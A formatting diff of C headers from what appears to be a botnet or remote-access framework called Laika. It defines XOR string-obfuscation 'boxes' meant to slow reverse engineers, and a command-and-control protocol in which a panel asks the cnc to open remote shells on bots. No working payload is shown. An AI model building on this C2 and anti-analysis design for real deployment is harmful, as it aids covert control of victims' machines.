but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
|
right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
|
||||||
|
being seen, it's to slow the reverse engineer down.
|
||||||
|
|
||||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
|
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
|
||||||
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
|
make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
|
||||||
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
|
set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
|
||||||
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
|
routine. This makes static analysis a painful route for string dumping. These apis, while can be
|
||||||
|
used directly, are abstracted through macros with the pre-built boxes.
|
||||||
|
|
||||||
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
|
||||||
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
|
`lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
|
||||||
however for the time being only LAIKA_BOX_SKID_* is implemented.
|
be extended in the future with more boxes and such, however for the time being only
|
||||||
|
LAIKA_BOX_SKID_* is implemented.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
struct sLaikaB_box {
|
struct sLaikaB_box
|
||||||
|
{
|
||||||
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
|
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
|
||||||
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
|
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
|
||||||
uint8_t code[LAIKA_VM_CODESIZE];
|
uint8_t code[LAIKA_VM_CODESIZE];
|
||||||
@ -40,74 +45,74 @@ struct sLaikaB_box {
|
|||||||
|
|
||||||
/* ======================================[[ Box Var API ]]====================================== */
|
/* ======================================[[ Box Var API ]]====================================== */
|
||||||
|
|
||||||
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
||||||
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
||||||
type ident; \
|
type ident; \
|
||||||
struct sLaikaB_box __box##ident = box; \
|
struct sLaikaB_box __box##ident = box; \
|
||||||
laikaB_unlock(&__box##ident, __data##ident); \
|
laikaB_unlock(&__box##ident, __data##ident); \
|
||||||
ident = (type)__box##ident.unlockedData;
|
ident = (type)__box##ident.unlockedData;
|
||||||
|
|
||||||
#define LAIKA_BOX_ENDVAR(ident) \
|
#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
|
||||||
laikaB_lock(&__box##ident);
|
|
||||||
|
|
||||||
#ifdef LAIKA_OBFUSCATE
|
#ifdef LAIKA_OBFUSCATE
|
||||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||||
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
|
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
|
||||||
# define LAIKA_BOX_SKID_END(ident) \
|
# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
|
||||||
LAIKA_BOX_ENDVAR(ident)
|
|
||||||
#else /* disable obfuscations */
|
#else /* disable obfuscations */
|
||||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
|
||||||
type ident = strmacro;
|
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||||
|
|
||||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||||
#define LAIKA_BOX_SKID(_key) { \
|
#define LAIKA_BOX_SKID(_key) \
|
||||||
.unlockedData = {0}, /* reserved */ \
|
{ \
|
||||||
.code = { /* stack layout: \
|
.unlockedData = {0}, /* reserved */ \
|
||||||
[0] - unlockedData (ptr) \
|
.code = { /* stack layout: \
|
||||||
[1] - data (ptr) \
|
[0] - unlockedData (ptr) \
|
||||||
[2] - key (uint8_t) \
|
[1] - data (ptr) \
|
||||||
[3] - working data (uint8_t) \
|
[2] - key (uint8_t) \
|
||||||
*/ \
|
[3] - working data (uint8_t) \
|
||||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
|
*/ \
|
||||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
|
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
|
||||||
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
|
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
|
||||||
/* LOOP_START */ \
|
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
|
||||||
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
|
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
|
||||||
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
|
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
|
||||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||||
OP_EXIT \
|
OP_EXIT \
|
||||||
} \
|
} \
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ======================================[[ Raw Box API ]]====================================== */
|
/* ======================================[[ Raw Box API ]]====================================== */
|
||||||
|
|
||||||
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
|
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||||
|
{
|
||||||
struct sLaikaV_vm vm = {
|
struct sLaikaV_vm vm = {
|
||||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
||||||
.constList = {
|
.constList =
|
||||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
{
|
||||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||||
},
|
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||||
.code = {0},
|
},
|
||||||
.stack = {0},
|
.code = { 0 },
|
||||||
|
.stack = { 0 },
|
||||||
.pc = 0
|
.pc = 0
|
||||||
};
|
};
|
||||||
|
|
||||||
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
|
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
|
||||||
laikaV_execute(&vm);
|
laikaV_execute(&vm);
|
||||||
return (void*)box->unlockedData;
|
return (void *)box->unlockedData;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
|
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
|
||||||
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) {
|
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
||||||
|
{
|
||||||
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
||||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||||
}
|
}
|
||||||
|
@ -1,18 +1,23 @@
|
|||||||
#ifndef LAIKA_ERROR_H
|
#ifndef LAIKA_ERROR_H
|
||||||
#define LAIKA_ERROR_H
|
#define LAIKA_ERROR_H
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <setjmp.h>
|
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
|
|
||||||
|
#include <setjmp.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
/* defines errorstack size */
|
/* defines errorstack size */
|
||||||
#define LAIKA_MAXERRORS 32
|
#define LAIKA_MAXERRORS 32
|
||||||
|
|
||||||
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
|
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
|
||||||
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
|
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
|
||||||
#define LAIKA_CATCH } else {
|
#define LAIKA_CATCH \
|
||||||
#define LAIKA_TRYEND } --eLaika_errIndx;
|
} \
|
||||||
|
else \
|
||||||
|
{
|
||||||
|
#define LAIKA_TRYEND \
|
||||||
|
} \
|
||||||
|
--eLaika_errIndx;
|
||||||
|
|
||||||
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
|
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
|
||||||
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
|
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
|
||||||
@ -23,24 +28,25 @@
|
|||||||
arguments are ignored.
|
arguments are ignored.
|
||||||
*/
|
*/
|
||||||
#ifndef DEBUG
|
#ifndef DEBUG
|
||||||
#define LAIKA_ERROR(...) do { \
|
# define LAIKA_ERROR(...) \
|
||||||
if (LAIKA_ISPROTECTED) \
|
do { \
|
||||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
if (LAIKA_ISPROTECTED) \
|
||||||
else \
|
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||||
exit(1); \
|
else \
|
||||||
} while(0);
|
exit(1); \
|
||||||
#define LAIKA_WARN(...) ((void)0) /* no op */
|
} while (0);
|
||||||
|
# define LAIKA_WARN(...) ((void)0) /* no op */
|
||||||
#else
|
#else
|
||||||
#define LAIKA_ERROR(...) do { \
|
# define LAIKA_ERROR(...) \
|
||||||
printf("[ERROR] : " __VA_ARGS__); \
|
do { \
|
||||||
if (LAIKA_ISPROTECTED) \
|
printf("[ERROR] : " __VA_ARGS__); \
|
||||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
if (LAIKA_ISPROTECTED) \
|
||||||
else \
|
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||||
exit(1); \
|
else \
|
||||||
} while(0);
|
exit(1); \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
#define LAIKA_WARN(...) \
|
# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
|
||||||
printf("[WARN] : " __VA_ARGS__);
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
extern int eLaika_errIndx;
|
extern int eLaika_errIndx;
|
||||||
|
@ -7,37 +7,39 @@
|
|||||||
|
|
||||||
/* microsoft strikes again with their lack of support for VLAs */
|
/* microsoft strikes again with their lack of support for VLAs */
|
||||||
#if _MSC_VER
|
#if _MSC_VER
|
||||||
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz);
|
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
|
||||||
#define ENDVLA(var) laikaM_free(var);
|
# define ENDVLA(var) laikaM_free(var);
|
||||||
#else
|
#else
|
||||||
#define VLA(type, var, sz) type var[sz];
|
# define VLA(type, var, sz) type var[sz];
|
||||||
#define ENDVLA(var) ((void)0) /* no op */
|
# define ENDVLA(var) ((void)0) /* no op */
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
||||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||||
|
|
||||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||||
if (count + needed >= capacity || buf == NULL) { \
|
if (count + needed >= capacity || buf == NULL) { \
|
||||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||||
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
|
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
|
||||||
}
|
}
|
||||||
|
|
||||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||||
#define laikaM_rmvarray(buf, count, indx, numElem) do { \
|
#define laikaM_rmvarray(buf, count, indx, numElem) \
|
||||||
int _i, _sz = ((count-indx)-numElem); \
|
do { \
|
||||||
for (_i = 0; _i < _sz; _i++) \
|
int _i, _sz = ((count - indx) - numElem); \
|
||||||
buf[indx+_i] = buf[indx+numElem+_i]; \
|
for (_i = 0; _i < _sz; _i++) \
|
||||||
count -= numElem; \
|
buf[indx + _i] = buf[indx + numElem + _i]; \
|
||||||
} while(0);
|
count -= numElem; \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||||
#define laikaM_insertarray(buf, count, indx, numElem) do { \
|
#define laikaM_insertarray(buf, count, indx, numElem) \
|
||||||
int _i; \
|
do { \
|
||||||
for (_i = count; _i > indx; _i--) \
|
int _i; \
|
||||||
buf[_i] = buf[_i-1]; \
|
for (_i = count; _i > indx; _i--) \
|
||||||
count += numElem; \
|
buf[_i] = buf[_i - 1]; \
|
||||||
} while(0);
|
count += numElem; \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
void *laikaM_realloc(void *buf, size_t sz);
|
void *laikaM_realloc(void *buf, size_t sz);
|
||||||
|
|
||||||
|
@ -3,101 +3,108 @@
|
|||||||
|
|
||||||
#include <inttypes.h>
|
#include <inttypes.h>
|
||||||
|
|
||||||
#define LAIKA_MAGIC "LAI\x12"
|
#define LAIKA_MAGIC "LAI\x12"
|
||||||
#define LAIKA_MAGICLEN 4
|
#define LAIKA_MAGICLEN 4
|
||||||
|
|
||||||
#define LAIKA_MAX_PKTSIZE 4096
|
#define LAIKA_MAX_PKTSIZE 4096
|
||||||
|
|
||||||
#define LAIKA_HOSTNAME_LEN 64
|
#define LAIKA_HOSTNAME_LEN 64
|
||||||
#define LAIKA_IPSTR_LEN 64
|
#define LAIKA_IPSTR_LEN 64
|
||||||
#define LAIKA_INET_LEN 22
|
#define LAIKA_INET_LEN 22
|
||||||
|
|
||||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
||||||
#define LAIKA_MAX_SHELLS 16
|
#define LAIKA_MAX_SHELLS 16
|
||||||
|
|
||||||
/* first handshake between peer & cnc works as so:
|
|
||||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
|
|
||||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
|
||||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
|
||||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
|
|
||||||
*/
|
|
||||||
|
|
||||||
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
|
||||||
LAIKAPKT_ID pktID; -- plain text
|
|
||||||
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
|
||||||
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
|
||||||
*/
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|
first handshake between peer & cnc works as so:
|
||||||
|
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
|
||||||
|
inet ip
|
||||||
|
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||||
|
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||||
|
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
|
||||||
|
sent
|
||||||
|
|
||||||
|
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
||||||
|
{
|
||||||
|
LAIKAPKT_ID pktID; -- plain text
|
||||||
|
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
||||||
|
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
||||||
|
}
|
||||||
|
|
||||||
any packet ending with *_RES is cnc 2 peer
|
any packet ending with *_RES is cnc 2 peer
|
||||||
any packet ending with *_REQ is peer 2 cnc
|
any packet ending with *_REQ is peer 2 cnc
|
||||||
if packet doesn't have either, it can be sent & received by both peer & cnc
|
if packet doesn't have either, it can be sent & received by both peer & cnc
|
||||||
*/
|
*/
|
||||||
enum {
|
|
||||||
/* =========================================[[ Peer ]]========================================== */
|
enum
|
||||||
|
{
|
||||||
|
/* =======================================[[ Peer ]]======================================== */
|
||||||
LAIKAPKT_VARPKT,
|
LAIKAPKT_VARPKT,
|
||||||
/* layout of LAIKAPKT_VARPKT:
|
/* layout of LAIKAPKT_VARPKT:
|
||||||
* LAIKAPKT_SIZE pktSize;
|
* LAIKAPKT_SIZE pktSize;
|
||||||
* LAIKAPKT_ID pktID;
|
* LAIKAPKT_ID pktID;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
||||||
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
||||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||||
* uint8_t majorVer;
|
* uint8_t majorVer;
|
||||||
* uint8_t minorVer;
|
* uint8_t minorVer;
|
||||||
* uint8_t osType;
|
* uint8_t osType;
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
|
||||||
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
|
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
|
||||||
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_HANDSHAKE_RES,
|
LAIKAPKT_HANDSHAKE_RES,
|
||||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||||
* uint8_t cncEndian;
|
* uint8_t cncEndian;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_PINGPONG,
|
LAIKAPKT_PINGPONG,
|
||||||
/* layout of LAIKAPKT_PINGPONG:
|
/* layout of LAIKAPKT_PINGPONG:
|
||||||
* NULL (empty packet)
|
* NULL (empty packet)
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_SHELL_OPEN,
|
LAIKAPKT_SHELL_OPEN,
|
||||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||||
* uint32_t id;
|
* uint32_t id;
|
||||||
* uint16_t cols;
|
* uint16_t cols;
|
||||||
* uint16_t rows;
|
* uint16_t rows;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_SHELL_CLOSE,
|
LAIKAPKT_SHELL_CLOSE,
|
||||||
/* layout of LAIKAPKT_SHELL_CLOSE:
|
/* layout of LAIKAPKT_SHELL_CLOSE:
|
||||||
* uint32_t id;
|
* uint32_t id;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_SHELL_DATA,
|
LAIKAPKT_SHELL_DATA,
|
||||||
/* layout of LAIKAPKT_SHELL_DATA
|
/* layout of LAIKAPKT_SHELL_DATA
|
||||||
* uint32_t id;
|
* uint32_t id;
|
||||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||||
*/
|
*/
|
||||||
/* =========================================[[ Auth ]]========================================== */
|
/* =======================================[[ Auth ]]======================================== */
|
||||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
|
||||||
|
there is no response packet */
|
||||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||||
* uint8_t peerType;
|
* uint8_t peerType;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
|
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
|
||||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||||
* char inet[LAIKA_INET_LEN];
|
* char inet[LAIKA_INET_LEN];
|
||||||
* char ipStr[LAIKA_IPSTR_LEN];
|
* char ipStr[LAIKA_IPSTR_LEN];
|
||||||
* uint8_t peerType;
|
* uint8_t peerType;
|
||||||
* uint8_t osType;
|
* uint8_t osType;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
|
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
|
||||||
|
*/
|
||||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||||
* uint8_t peerType;
|
* uint8_t peerType;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
|
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
|
||||||
|
response packet, shell is assumed to be open */
|
||||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||||
* uint16_t cols;
|
* uint16_t cols;
|
||||||
* uint16_t rows;
|
* uint16_t rows;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_MAXNONE
|
LAIKAPKT_MAXNONE
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID;
|
|||||||
typedef uint16_t LAIKAPKT_SIZE;
|
typedef uint16_t LAIKAPKT_SIZE;
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef DEBUG
|
||||||
const char* laikaD_getPacketName(LAIKAPKT_ID);
|
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -2,66 +2,75 @@
|
|||||||
#define LAIKA_PEER_H
|
#define LAIKA_PEER_H
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
#include "lpolllist.h"
|
#include "lpolllist.h"
|
||||||
|
#include "lsocket.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
|
|
||||||
typedef enum {
|
typedef enum
|
||||||
|
{
|
||||||
PEER_UNKNWN,
|
PEER_UNKNWN,
|
||||||
PEER_BOT,
|
PEER_BOT,
|
||||||
PEER_CNC, /* cnc 2 cnc communication */
|
PEER_CNC, /* cnc 2 cnc communication */
|
||||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||||
} PEERTYPE;
|
} PEERTYPE;
|
||||||
|
|
||||||
typedef enum {
|
typedef enum
|
||||||
|
{
|
||||||
OS_UNKNWN,
|
OS_UNKNWN,
|
||||||
OS_WIN,
|
OS_WIN,
|
||||||
OS_LIN
|
OS_LIN
|
||||||
} OSTYPE;
|
} OSTYPE;
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
# define LAIKA_OSTYPE OS_WIN
|
# define LAIKA_OSTYPE OS_WIN
|
||||||
#else
|
#else
|
||||||
# ifdef __linux__
|
# ifdef __linux__
|
||||||
# define LAIKA_OSTYPE OS_LIN
|
# define LAIKA_OSTYPE OS_LIN
|
||||||
# else
|
# else
|
||||||
# define LAIKA_OSTYPE OS_UNKNWN
|
# define LAIKA_OSTYPE OS_UNKNWN
|
||||||
# endif
|
# endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
|
|
||||||
struct sLaika_peerPacketInfo {
|
struct sLaika_peerPacketInfo
|
||||||
|
{
|
||||||
PeerPktHandler handler;
|
PeerPktHandler handler;
|
||||||
LAIKAPKT_SIZE size;
|
LAIKAPKT_SIZE size;
|
||||||
bool variadic;
|
bool variadic;
|
||||||
};
|
};
|
||||||
|
|
||||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
|
||||||
|
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||||
|
|
||||||
struct sLaika_peer {
|
struct sLaika_peer
|
||||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
{
|
||||||
|
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
|
||||||
|
sLaika_peer* to sLaika_sock* works as intended */
|
||||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
